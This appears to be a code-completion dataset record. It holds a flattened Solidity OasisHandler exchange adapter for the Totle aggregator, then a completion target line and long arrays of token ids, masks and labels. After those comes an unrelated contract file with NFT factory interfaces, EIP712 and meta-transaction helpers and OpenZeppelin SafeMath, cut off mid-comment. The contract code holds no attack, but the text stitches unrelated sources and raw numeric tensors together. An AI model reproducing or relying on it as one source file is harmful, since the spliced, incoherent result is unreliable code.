constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /// @title A contract which can be used to ensure only the TotlePrimary contract can call /// some functions /// @dev Defines a modifier which should be used when only the totle contract should /// able able to call a function contract TotleControl is Ownable { mapping(address => bool) public authorizedPrimaries; /// @dev A modifier which only allows code execution if msg.sender equals totlePrimary address modifier onlyTotle() { require(authorizedPrimaries[msg.sender]); _; } /// @notice Contract constructor /// @dev As this contract inherits ownable, msg.sender will become the contract owner /// @param _totlePrimary the address of the contract to be set as totlePrimary constructor(address _totlePrimary) public { authorizedPrimaries[_totlePrimary] = true; } /// @notice A function which allows only the owner to change the address of totlePrimary /// @dev onlyOwner modifier only allows the contract owner to run the code /// @param _totlePrimary the address of the contract to be set as totlePrimary function addTotle( address _totlePrimary ) external onlyOwner { authorizedPrimaries[_totlePrimary] = true; } function removeTotle( address _totlePrimary ) external onlyOwner { authorizedPrimaries[_totlePrimary] = false; } } /// @title A contract which allows its owner to withdraw any ether which is contained inside contract Withdrawable is Ownable { /// @notice Withdraw ether contained in this contract and send it back to owner /// @dev onlyOwner modifier only allows the contract owner to run the code /// @param _token The address of the token that the user wants to withdraw /// @param _amount The amount of tokens that the caller wants to withdraw /// @return bool value indicating whether the transfer was successful function withdrawToken(address _token, uint256 _amount) external onlyOwner returns (bool) { return ERC20SafeTransfer.safeTransfer(_token, owner, _amount); } /// @notice Withdraw ether contained in this contract and send it back to owner /// @dev onlyOwner modifier only allows the contract owner to run the code /// @param _amount The amount of ether that the caller wants to withdraw function withdrawETH(uint256 _amount) external onlyOwner { owner.transfer(_amount); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Paused(); event Unpaused(); bool private _paused = false; /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Contract is paused."); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Contract not paused."); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { _paused = true; emit Paused(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { _paused = false; emit Unpaused(); } } contract SelectorProvider { bytes4 constant getAmountToGiveSelector = bytes4(keccak256("getAmountToGive(bytes)")); bytes4 constant staticExchangeChecksSelector = bytes4(keccak256("staticExchangeChecks(bytes)")); bytes4 constant performBuyOrderSelector = bytes4(keccak256("performBuyOrder(bytes,uint256)")); bytes4 constant performSellOrderSelector = bytes4(keccak256("performSellOrder(bytes,uint256)")); function getSelector(bytes4 genericSelector) public pure returns (bytes4); } /// @title Interface for all exchange handler contracts contract ExchangeHandler is SelectorProvider, TotleControl, Withdrawable, Pausable { /* * State Variables */ ErrorReporter public errorReporter; /* Logger public logger; */ /* * Modifiers */ /// @notice Constructor /// @dev Calls the constructor of the inherited TotleControl /// @param totlePrimary the address of the totlePrimary contract constructor( address totlePrimary, address _errorReporter /* ,address _logger */ ) TotleControl(totlePrimary) public { require(_errorReporter != address(0x0)); /* require(_logger != address(0x0)); */ errorReporter = ErrorReporter(_errorReporter); /* logger = Logger(_logger); */ } /// @notice Gets the amount that Totle needs to give for this order /// @param genericPayload the data for this order in a generic format /// @return amountToGive amount taker needs to give in order to fill the order function getAmountToGive( bytes genericPayload ) public view returns (uint256 amountToGive) { bool success; bytes4 functionSelector = getSelector(this.getAmountToGive.selector); assembly { let functionSelectorLength := 0x04 let functionSelectorOffset := 0x1C let scratchSpace := 0x0 let wordLength := 0x20 let bytesLength := mload(genericPayload) let totalLength := add(functionSelectorLength, bytesLength) let startOfNewData := add(genericPayload, functionSelectorOffset) mstore(add(scratchSpace, functionSelectorOffset), functionSelector) let functionSelectorCorrect := mload(scratchSpace) mstore(genericPayload, functionSelectorCorrect) success := delegatecall( gas, address, // This address of the current contract startOfNewData, // Start data at the beginning of the functionSelector totalLength, // Total length of all data, including functionSelector scratchSpace, // Use the first word of memory (scratch space) to store our return variable. wordLength // Length of return variable is one word ) amountToGive := mload(scratchSpace) if eq(success, 0) { revert(0, 0) } } } /// @notice Perform exchange-specific checks on the given order /// @dev this should be called to check for payload errors /// @param genericPayload the data for this order in a generic format /// @return checksPassed value representing pass or fail function staticExchangeChecks( bytes genericPayload ) public view returns (bool checksPassed) { bool success; bytes4 functionSelector = getSelector(this.staticExchangeChecks.selector); assembly { let functionSelectorLength := 0x04 let functionSelectorOffset := 0x1C let scratchSpace := 0x0 let wordLength := 0x20 let bytesLength := mload(genericPayload) let totalLength := add(functionSelectorLength, bytesLength) let startOfNewData := add(genericPayload, functionSelectorOffset) mstore(add(scratchSpace, functionSelectorOffset), functionSelector) let functionSelectorCorrect := mload(scratchSpace) mstore(genericPayload, functionSelectorCorrect) success := delegatecall( gas, address, // This address of the current contract startOfNewData, // Start data at the beginning of the functionSelector totalLength, // Total length of all data, including functionSelector scratchSpace, // Use the first word of memory (scratch space) to store our return variable. wordLength // Length of return variable is one word ) checksPassed := mload(scratchSpace) if eq(success, 0) { revert(0, 0) } } } /// @notice Perform a buy order at the exchange /// @param genericPayload the data for this order in a generic format /// @param amountToGiveForOrder amount that should be spent on this order /// @return amountSpentOnOrder the amount that would be spent on the order /// @return amountReceivedFromOrder the amount that was received from this order function performBuyOrder( bytes genericPayload, uint256 amountToGiveForOrder ) public payable returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder) { bool success; bytes4 functionSelector = getSelector(this.performBuyOrder.selector); assembly { let callDataOffset := 0x44 let functionSelectorOffset := 0x1C let functionSelectorLength := 0x04 let scratchSpace := 0x0 let wordLength := 0x20 let startOfFreeMemory := mload(0x40) calldatacopy(startOfFreeMemory, callDataOffset, calldatasize) let bytesLength := mload(startOfFreeMemory) let totalLength := add(add(functionSelectorLength, bytesLength), wordLength) mstore(add(scratchSpace, functionSelectorOffset), functionSelector) let functionSelectorCorrect := mload(scratchSpace) mstore(startOfFreeMemory, functionSelectorCorrect) mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder) let startOfNewData := add(startOfFreeMemory,functionSelectorOffset) success := delegatecall( gas, address, // This address of the current contract startOfNewData, // Start data at the beginning of the functionSelector totalLength, // Total length of all data, including functionSelector scratchSpace, // Use the first word of memory (scratch space) to store our return variable. mul(wordLength, 0x02) // Length of return variables is two words ) amountSpentOnOrder := mload(scratchSpace) amountReceivedFromOrder := mload(add(scratchSpace, wordLength)) if eq(success, 0) { revert(0, 0) } } } /// @notice Perform a sell order at the exchange /// @param genericPayload the data for this order in a generic format /// @param amountToGiveForOrder amount that should be spent on this order /// @return amountSpentOnOrder the amount that would be spent on the order /// @return amountReceivedFromOrder the amount that was received from this order function performSellOrder( bytes genericPayload, uint256 amountToGiveForOrder ) public returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder) { bool success; bytes4 functionSelector = getSelector(this.performSellOrder.selector); assembly { let callDataOffset := 0x44 let functionSelectorOffset := 0x1C let functionSelectorLength := 0x04 let scratchSpace := 0x0 let wordLength := 0x20 let startOfFreeMemory := mload(0x40) calldatacopy(startOfFreeMemory, callDataOffset, calldatasize) let bytesLength := mload(startOfFreeMemory) let totalLength := add(add(functionSelectorLength, bytesLength), wordLength) mstore(add(scratchSpace, functionSelectorOffset), functionSelector) let functionSelectorCorrect := mload(scratchSpace) mstore(startOfFreeMemory, functionSelectorCorrect) mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder) let startOfNewData := add(startOfFreeMemory,functionSelectorOffset) success := delegatecall( gas, address, // This address of the current contract startOfNewData, // Start data at the beginning of the functionSelector totalLength, // Total length of all data, including functionSelector scratchSpace, // Use the first word of memory (scratch space) to store our return variable. mul(wordLength, 0x02) // Length of return variables is two words ) amountSpentOnOrder := mload(scratchSpace) amountReceivedFromOrder := mload(add(scratchSpace, wordLength)) if eq(success, 0) { revert(0, 0) } } } } /// @title OasisInterface /// @notice Exchange contract interface interface OasisInterface { function buy(uint id, uint quantity) external returns (bool); function getOffer(uint id) external constant returns (uint, ERC20, uint, ERC20); function isActive(uint id) external constant returns (bool); } interface WethInterface { function deposit() external payable; function withdraw(uint amount) external payable; } /// @title OasisHandler /// @notice Handles the all Oasis trades for the primary contract contract OasisHandler is ExchangeHandler, AllowanceSetter { /* * State Variables */ OasisInterface public oasis; WethInterface public weth; /* * Types */ struct OrderData { uint256 offerId; uint256 maxAmountToSpend; } /// @notice Constructor /// @dev Calls the constructor of the inherited ExchangeHandler /// @param oasisAddress the address of the oasis exchange contract /// @param wethAddress the address of the weth contract /// @param totlePrimary the address of the totlePrimary contract constructor( address oasisAddress, address wethAddress, address totlePrimary, address errorReporter /* , address logger */ ) ExchangeHandler(totlePrimary, errorReporter/*,logger*/) public { require(oasisAddress != address(0x0)); require(wethAddress != address(0x0)); oasis = OasisInterface(oasisAddress); weth = WethInterface(wethAddress); } /* * Public functions */ /// @notice Gets the amount that Totle needs to give for this order /// @dev Uses the `onlyTotle` modifier with public visibility as this function /// should only be called from functions which are inherited from the ExchangeHandler /// base contract. /// Uses `whenNotPaused` modifier to revert transactions when contract is "paused". /// @param data OrderData struct containing order values /// @return amountToGive amount taker needs to give in order to fill the order function getAmountToGive( OrderData data ) public view whenNotPaused onlyTotle returns (uint256 amountToGive) { uint256 availableGetAmount; (availableGetAmount,,,) = oasis.getOffer(data.offerId); /* logger.log("Oasis order available amount arg2: availableGetAmount", availableGetAmount); */ return availableGetAmount > data.maxAmountToSpend ? data.maxAmountToSpend : availableGetAmount; } /// @notice Perform exchange-specific checks on the given order /// @dev This function should be called to check for payload errors. /// Uses the `onlyTotle` modifier with public visibility as this function /// should only be called from functions which are inherited from the ExchangeHandler /// base contract. /// Uses `whenNotPaused` modifier to revert transactions when contract is "paused". /// @param data OrderData struct containing order values /// @return checksPassed value representing pass or fail function staticExchangeChecks( OrderData data ) public view whenNotPaused onlyTotle returns (bool checksPassed) { /* logger.log("Oasis static exchange checks"); */ // Check if the offer is active if (!oasis.isActive(data.offerId)){ /* logger.log("Oasis offer is not active arg2: offerId", data.offerId); */ return false; } // Check if the pay_gem or buy_gem is weth address pay_gem; address buy_gem; (,pay_gem,,buy_gem) = oasis.getOffer(data.offerId); bool isBuyOrPayWeth = pay_gem == address(weth) || buy_gem == address(weth); if (!isBuyOrPayWeth){ /* logger.log("Oasis offer's base pair is not WETH arg6: pay_gem, arg7: buy_gem", 0,0,0,0, pay_gem, buy_gem); */ return false; } return true; } /// @notice Perform a buy order at the exchange /// @dev Uses the `onlyTotle` modifier with public visibility as this function /// should only be called from functions which are inherited from the ExchangeHandler /// base contract. /// Uses `whenNotPaused` modifier to revert transactions when contract is "paused". /// @param data OrderData struct containing order values /// @param amountToSpend amount that should be spent on this order /// @return amountSpentOnOrder the amount that would be spent on the order /// @return amountReceivedFromOrder the amount that was received from this order function performBuyOrder( OrderData data, uint256 amountToSpend ) public payable whenNotPaused onlyTotle returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder) { /* logger.log("Performing Oasis buy order arg2: amountSpentOnOrder, arg3: amountReceivedFromOrder", amountSpentOnOrder, amountReceivedFromOrder); */ if (msg.value != amountToSpend){ /* logger.log("Ether sent is not equal to amount to spend arg2: amountToSpend, arg3: msg.value", amountToSpend, msg.value); */ msg.sender.transfer(msg.value); return (0,0); } //Convert ETH to Weth weth.deposit.value(amountToSpend)(); /* logger.log("Converted to WETH"); */ //Approve oasis to move weth approveAddress(address(oasis), address(weth)); /* logger.log("Address approved"); */ //Fetch offer data and validate buy gem is weth uint256 maxPayGem; address payGem; uint256 maxBuyGem; address buyGem; (maxPayGem,payGem,maxBuyGem,buyGem) = oasis.getOffer(data.offerId); if (buyGem != address(weth)){ errorReporter.revertTx("buyGem != address(weth)"); } //Calculate quantity to buy uint256 amountToBuy = SafeMath.div( SafeMath.mul(amountToSpend, maxPayGem), maxBuyGem); if (!oasis.buy(data.offerId, amountToBuy)){ errorReporter.revertTx("Oasis buy failed"); } //Calculate actual amounts spent and got uint256 newMaxPayGem; uint256 newMaxBuyGem; (newMaxPayGem,,newMaxBuyGem,) = oasis.getOffer(data.offerId); amountReceivedFromOrder = maxPayGem - newMaxPayGem; amountSpentOnOrder = maxBuyGem - newMaxBuyGem; //If we didn't spend all the eth, withdraw it from weth and send back to totlePrimary if (amountSpentOnOrder < amountToSpend){ /* logger.log("Got some ether left, withdrawing arg2: amountSpentOnOrder, arg3: amountToSpend", amountSpentOnOrder, amountToSpend); */ weth.withdraw(amountToSpend - amountSpentOnOrder); msg.sender.transfer(amountToSpend - amountSpentOnOrder); } //Send the purchased tokens back to totlePrimary if (!ERC20(payGem).transfer(msg.sender, amountReceivedFromOrder)){ errorReporter.revertTx("Unable to transfer bought tokens to totlePrimary"); } } /// @notice Perform a sell order at the exchange /// @dev Uses the `onlyTotle` modifier with public visibility as this function /// should only be called from functions which are inherited from the ExchangeHandler /// base contract /// Uses `whenNotPaused` modifier to revert transactions when contract is "paused". /// @param data OrderData struct containing order values /// @param amountToSpend amount that should be spent on this order /// @return amountSpentOnOrder the amount that would be spent on the order /// @return amountReceivedFromOrder the amount that was received from this order function performSellOrder( OrderData data, uint256 amountToSpend ) public whenNotPaused onlyTotle returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder) { //Fetch offer data and validate buy gem is weth uint256 maxPayGem; address payGem; uint256 maxBuyGem; address buyGem; (maxPayGem,payGem,maxBuyGem,buyGem) = oasis.getOffer(data.offerId); /* logger.log("Performing Oasis sell order arg2: amountToSpend", amountToSpend); */ if (payGem != address(weth)){ errorReporter.revertTx("payGem != address(weth)"); } //Approve oasis to move buy gem approveAddress(address(oasis), address(buyGem)); /* logger.log("Address approved"); */ //Calculate quantity to buy uint256 amountToBuy = SafeMath.div( SafeMath.mul(amountToSpend, maxPayGem), maxBuyGem); if(amountToBuy == 0){ /* logger.log("Amount to buy is zero, amountToSpend was likely too small to get any. Did the previous order fill all but a small amount? arg2: amountToSpend", amountToSpend); */ ERC20(buyGem).transfer(msg.sender, amountToSpend); return (0, 0); } if (!oasis.buy(data.offerId, amountToBuy)){ errorReporter.revertTx("Oasis buy failed"); } //Calculate actual amounts spent and got uint256 newMaxPayGem; uint256 newMaxBuyGem; (newMaxPayGem,,newMaxBuyGem,) = oasis.getOffer(data.offerId); amountReceivedFromOrder = maxPayGem - newMaxPayGem; amountSpentOnOrder = maxBuyGem - newMaxBuyGem; //If we didn't spend all the tokens, withdraw it from weth and send back to totlePrimary if (amountSpentOnOrder < amountToSpend){ /* logger.log("Got some tokens left, withdrawing arg2: amountSpentOnOrder, arg3: amountToSpend", amountSpentOnOrder, amountToSpend); */ ERC20(buyGem).transfer(msg.sender, amountToSpend - amountSpentOnOrder); } //Send the purchased tokens back to totlePrimary weth.withdraw(amountReceivedFromOrder); msg.sender.transfer(amountReceivedFromOrder); } /// @notice Changes the current contract address set as WETH /// @param wethAddress the address of the new WETH contract function setWeth( address wethAddress ) public onlyOwner { require(wethAddress != address(0x0)); weth = WethInterface(wethAddress); } function getSelector(bytes4 genericSelector) public pure returns (bytes4) { if (genericSelector == getAmountToGiveSelector) { return bytes4(keccak256("getAmountToGive((uint256,uint256))")); } else if (genericSelector == staticExchangeChecksSelector) { return bytes4(keccak256("staticExchangeChecks((uint256,uint256))")); } else if (genericSelector == performBuyOrderSelector) { return bytes4(keccak256("performBuyOrder((uint256,uint256),uint256)")); } else if (genericSelector == performSellOrderSelector) { return bytes4(keccak256("performSellOrder((uint256,uint256),uint256)")); } else { return bytes4(0x0); } } /* * Payable fallback function */ /// @notice payable fallback to allow handler or exchange contracts to return ether /// @dev only accounts containing code (ie. contracts) can send ether to this contract function() public payable whenNotPaused { // Check in here that the sender is a contract! (to stop accidents) uint256 size; address sender = msg.sender; assembly { size := extcodesize(sender) } if (size == 0) { errorReporter.revertTx("EOA cannot send ether to primary fallback"); } } }
Send the purchased tokens back to totlePrimary
weth.withdraw(amountReceivedFromOrder);
14,077,490
[ 1, 3826, 326, 5405, 343, 8905, 2430, 1473, 358, 9997, 298, 6793, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 341, 546, 18, 1918, 9446, 12, 8949, 8872, 1265, 2448, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: IAllowsProxy.sol pragma solidity >=0.8.4; interface IAllowsProxy { function isProxyActive() external view returns (bool); function proxyAddress() external view returns (address); function isApprovedForProxy(address _owner, address _operator) external view returns (bool); } // File: IFactoryMintable.sol pragma solidity >=0.8.4; interface IFactoryMintable { function factoryMint(uint256 _optionId, address _to) external; function factoryCanMint(uint256 _optionId) external returns (bool); } // File: INFT.sol pragma solidity ^0.8.7; interface INFT{ function mintTo(address recipient) external returns (uint256); function remaining() external view returns (uint256); } // File: Initializable.sol pragma solidity ^0.8.7; /** * https://github.com/maticnetwork/pos-portal/blob/master/contracts/common/Initializable.sol */ contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } // File: EIP712Base.sol pragma solidity ^0.8.7; /** * https://github.com/maticnetwork/pos-portal/blob/master/contracts/common/EIP712Base.sol */ contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string public constant ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contractsa that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712(string memory name) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: NativeMetaTransaction.sol pragma solidity ^0.8.0; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransactionWithExternalNonce( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV, uint256 userNonce ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: userNonce, from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); require(userNonce == nonces[userAddress]); // increase nonce for user (to avoid re-use) nonces[userAddress] = userNonce.add(1); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // File: ContextMixin.sol pragma solidity ^0.8.7; /** * https://github.com/maticnetwork/pos-portal/blob/master/contracts/common/ContextMixin.sol */ abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } // File: @openzeppelin/contracts/access/IAccessControl.sol // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted 